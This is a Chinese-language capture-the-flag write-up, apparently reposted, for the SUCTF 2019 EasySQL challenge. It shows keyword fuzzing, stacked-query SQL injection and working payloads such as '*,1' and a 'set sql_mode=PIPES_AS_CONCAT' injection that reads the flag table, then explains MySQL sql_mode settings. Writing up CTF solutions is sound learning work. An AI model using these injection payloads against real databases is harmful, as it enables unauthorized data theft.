[SUCTF 2019]EasySQL


首先查看源代碼, 沒有什么可以利用的

 

題目提示sql注入,但是不知道過濾了什么東西,可以使用fuzz字典來跑一下,字典跑后發現有三種結果

第一種,就是沒有任何回顯,意思就是沒有過濾該關鍵字

 

 第二種,就是nonono,被過濾的關鍵字

 

第三種,返回了數據

 

 再仔細查看一下禁用了那些函數

 

 information_schema.tables都被過濾,玩個蛇皮

報錯注入,時間盲注,ascii碼的函數都被過濾了,一時間不知道如何注入

然后查看了一下自己的葵花寶典

 

 發現有一個堆查詢注入還沒有使用,於是進行嘗試

查看數據庫

1;show databases;

 

 查看數據表

1;show tables;

 

於是猜測flag是在flag表中的flag字段中

1;select flag from flag;

 

發現flag被過濾了

 

 

到這一步后,完全沒有思路,於是查看別人的wp

別人的wp:

這道題目需要我們去對后端語句進行猜測,有點矛盾的地方在於其描述的功能和實際的功能似乎並不相符,通過輸入非零數字得到的回顯1和輸入其余字符得不到回顯來判斷出內部的查詢語句可能存在有||,也就是select 輸入的數據||內置的一個列名 from 表名,進一步進行猜測即為select post進去的數據||flag from Flag(含有數據的表名,通過堆疊注入可知),需要注意的是,此時的||起到的作用是or的作用

 

解法1

輸入的內容為*,1

內置的sql語句為sql="select".sql="select".post[‘query’]."||flag from Flag";

如果$post[‘query’]的數據為*,1,sql語句就變成了select *,1||flag from Flag,也就是select *,1 from Flag,也就是直接查詢出了Flag表中的所有內容

 

解法2

輸入的內容為1;set sql_mode=pipes_as_concat;select 1

其中set sql_mode=pipes_as_concat的作用是將||的作用由or變為拼接字符串

 

本地mysql演示

查詢當前數據庫的sql_mode

 

 這個sql_mode下使用||異或運算符

select 0 || flag from flag;

 

select 1 || flag from flag;

 

  當設置sql_mode為PIPES_AS_CONCAT時,將”||”視為字符串的連接操作符而非或運算符,這和Oracle數據庫是一樣的,也和字符串的拼接函數Concat相類似

set sql_mode=PIPES_AS_CONCAT;

 

 select @@sql_mode;

 

select 1 || flag from flag;

 

根據別人的wp知道內置的sql語句為

sql="select".sql="select".post[‘query’]."||flag from Flag";

所以直接構造payload

query=3;set sql_mode=PIPES_AS_CONCAT;select 3

 

附加幾種常見的sql_mode值的介紹:

幾種常見的mode介紹
ONLY_FULL_GROUP_BY:出現在select語句、HAVING條件和ORDER BY語句中的列,必須是GROUP BY的列或者依賴於GROUP BY列的函數列。

NO_AUTO_VALUE_ON_ZERO:該值影響自增長列的插入。默認設置下,插入0或NULL代表生成下一個自增長值。如果用戶希望插入的值為0,而該列又是自增長的,那么這個選項就有用了。

STRICT_TRANS_TABLES:在該模式下,如果一個值不能插入到一個事務表中,則中斷當前的操作,對非事務表不做限制

NO_ZERO_IN_DATE:這個模式影響了是否允許日期中的月份和日包含0。如果開啟此模式,2016-01-00是不允許的,但是0000-02-01是允許的。它實際的行為受到 strict mode是否開啟的影響1。

NO_ZERO_DATE:設置該值,mysql數據庫不允許插入零日期。它實際的行為受到 strictmode是否開啟的影響2。

ERROR_FOR_DIVISION_BY_ZERO:在INSERT或UPDATE過程中,如果數據被零除,則產生錯誤而非警告。如果未給出該模式,那么數據被零除時MySQL返回NULL

NO_AUTO_CREATE_USER:禁止GRANT創建密碼為空的用戶

NO_ENGINE_SUBSTITUTION:如果需要的存儲引擎被禁用或未編譯,那么拋出錯誤。不設置此值時,用默認的存儲引擎替代,並拋出一個異常

PIPES_AS_CONCAT:將”||”視為字符串的連接操作符而非或運算符,這和Oracle數據庫是一樣的,也和字符串的拼接函數Concat相類似

ANSI_QUOTES:啟用ANSI_QUOTES后,不能用雙引號來引用字符串,因為它被解釋為識別符


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM